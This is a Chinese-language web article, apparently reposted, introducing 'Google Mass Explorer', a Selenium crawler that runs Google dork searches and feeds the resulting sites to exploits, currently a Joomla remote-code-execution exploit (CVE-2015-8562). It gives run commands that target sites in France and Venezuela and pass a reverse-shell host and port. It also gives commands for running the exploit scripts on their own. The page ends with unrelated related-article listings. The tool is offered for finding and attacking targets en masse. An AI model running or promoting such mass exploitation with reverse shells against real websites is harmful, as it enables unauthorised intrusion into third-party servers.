这是一款基于谷歌搜索引擎的自动化爬虫。

爬虫介绍

爬虫大体机制就是:

先进行一次谷歌搜索,将结果解析为特定格式,然后再提供给exp使用。

大家可以尝试使用–help来列出所有参数。

这个项目笔者会持续更新,以后再添加新的exp进行升级。此外,它会利用google_parsers模块去构建exp解析搜索结果,所以当你开始搜索时,可以选择“–exploit parser”参数来指定相应exp。

google parsers模块(google_parsers.py)以后还会继续优化,而现在的exp只含有joomla cve,毕竟这个项目主要是给大家自己diy使用的。但是,如果你不会弄exp,把利用exp提交给过来也行。

由于笔者平时还是比较忙,所以没有太多时间去手动搜索目标。故而,笔者尝试使用Selenium框架去造了个爬虫来搜寻测试目标。至于搜索过程中出现的Google的验证码,它需要其他库和模块来辅助解决。在项目里使用Selenium后,大家就可以在谷歌出现验证码的是时候,自行手动输入验证码,然后爬虫就可以继续爬行了。这大概是笔者能想出的最好的解决验证码防护的办法了。

简单概述下爬虫是如何工作的:

1. 执行谷歌搜索

2. 从每一页解析结果

3. 测试是否结果中含有漏洞

依赖与需求

这个项目需要python3,使用requirements安装依赖库的方法如下:

$ sudo pip install -r requirements.txt

运行示例:

python3 google_explorer.py --dork="site:*.com inurl:index.php?option=" --browser="chrome" --exploit_parser="joomla_15_12_2015_rce" --revshell="MY_PUBLIC_IP" --port=4444 --google_domain="google.com" --location="França" --last_update="no último mês"

在上面的例子里,笔者是在寻找法国的joomla RCE目标,使用的是google_domains.txt里面的google域名(比如google.co.uk)来作为搜索引擎,“–last_update”则代表着搜索结果的更新时间为上个月。

上面例子里的选项适用于任何语言,主要决定于google针对相应的国家给出的语法。

下面再给出一个简单的例子:

python3 google_explorer.py --browser='chrome' --dork='site:gob.ve inurl:index.php' --location="Venezuela"

当然,这些exp也是可以单独使用的:

$ cd xpl_parsers

$ python joomla_cve_2015_8562.py

单独测试exp的方法:

$ cd exploits

$ python exploiter.py --file <vuln file>

好用的Google漏洞爬虫:Google Mass Explorer的更多相关文章

  1. google搜索引擎爬虫爬网站原理

    google搜索引擎爬虫爬网站原理 一.总结 一句话总结:从几个大站开始,然后开始爬,根据页面中的link,不断爬 从几个大站开始,然后开始爬,根据页面中的link,不断加深爬 1.搜索引擎和数据库检 ...

  2. Google play billing(Google play 内支付) 上篇

    写在前面: 最近Google貌似又被全面封杀了,幸好在此之前,把Google play billing弄完了,现在写篇 博客来做下记录.这篇博客一是自己做个记录,二是帮助其他有需要的人.因为现在基本登 ...

  3. CVE漏洞爬虫java代码依赖-TestNG

    TestNG是Java中的一个测试框架,而该CVE漏洞爬虫示例中所涉及到的java代码中, \Crawler\src\com\***\ThreaderRun.java文件在导入import org.t ...

  4. 怎样用Google APIs和Google的应用系统进行集成(3)----调用Google 发现(Discovery)API的RESTful服务

    说了这么多,那么首先同意我以Google Discovery RESTful服务为例,给大家演示怎样用最普通的Java代码调用Google Discovery RESTful服务. 引言: 在&quo ...

  5. 怎样用Google APIs和Google的应用系统进行集成(1)----Google APIs简介

    Google的应用系统提供了非常多的应用,比方 Google广告.Google 任务,Google 日历.Google blogger,Google Plus,Google 地图等等非常的多的应用,请 ...

  6. Google Adsense(Google网站联盟)广告申请指南

    Google AdSense 是一种获取收入的快速简便的方法,适合于各种规模的网站发布商.它可以在网站的内容网页上展示相关性较高的 Google 广告,并且这些广告不会过分夸张醒目.由于所展示的广告同 ...

  7. Google帝国研究——Google的产业构成

                                                                                        Google帝国研究--Goog ...

  8. ASP.NET Core 使用 Google 验证码(Google reCAPTCHA)

    关心最多的问题,不FQ能不能用,答案是能.Google官方提供额外的域名来提供服务,国内可以正常使用. 一. 前言 验证码在我们实际的生活场景中非常常见,可以防止恶意破解密码.刷票.论坛灌水.刷注册等 ...

  9. Google play billing(Google play 内支付) 下篇

    开篇: 如billing开发文档所说,要在你的应用中实现In-app Billing只需要完成以下几步就可以了. 第一,把你上篇下载的AIDL文件添加到你的工程里,第二,把 <uses-perm ...

随机推荐

  1. vue引入新版 vue-awesome-swiper填坑

    关于新版 vue-awesome-swiper 问题 为什么我的vue-awesome-swiper组件pagination小圆点不显示问题? 为什么我的vue-awesome-swiper不会自动播 ...

  2. 我是如何将网站全站启用Https的?-记录博客安装配置SSL证书全过程

    评论»   文章目录 为什么要Https 如何选择Https 安装部署SSL证书 平滑过渡Https 搜索引擎的响应 启用Https小结 正如大家所看到的,部落全站已经启用了Https访问了,连续几天 ...

  3. ThinkPhp5.0_文件上传

    ===================================================================== 路径: F:\wamp\www\public\uploads ...

  4. [SinGuLaRiTy] 复习模板-图论

    [SinGuLaRiTy-1041] Copyright (c) SinGuLaRiTy 2017. All Rights Reserved. 计算树的直径 //方法:任选一个点作为起点进行一次BFS ...

  5. 可变数目参数----关键字params的使用

    如何定义和使用可变数目参数的方法,使用关键字params. 即其他语言的可变参数 Code public class App { static void Main() { //常规使用方法 Conso ...

  6. 动态添加div及对应的js、css文件

    动态添加div及对应的js.css文件 在近期的项目开发中需要在首页中添加很多面板型的div,直接加载代码显得很繁琐,于是利用js封装一个动态添加div及其对应css文件和js文件的方法供大家参考使用 ...

  7. Linux - ubuntu 设置固定ip和设置dns

    ubuntu 设置固定ip和设置dns 1.ifconfig 查看网卡名称 root@jiqing-virtual-machine:~# ifconfig ens32 Link encap:以太网 硬 ...

  8. junit源码解析--测试驱动运行阶段

    前面的博客里面我们已经整理了junit的初始化阶段,接下来就是junit的测试驱动运行阶段,也就是运行所有的testXXX方法.OK,现在我们开始吧. 前面初始化junit之后,开始执行doRun方法 ...

  9. Linux指令--more,less

    文章出处:http://www.cnblogs.com/peida/archive/2012/11/05/2754477.html,感谢原作者无私的分享. more命令,功能类似 cat ,cat命令 ...

  10. 网络编程之UDP编程

    网络编程之UDP编程 UDP协议是一种不可靠的网络协议,它在通信的2端各建立一个Socket,但是这个Socket之间并没有虚拟链路,这2个Socket只是发送和接受数据的对象,Java提供了Data ...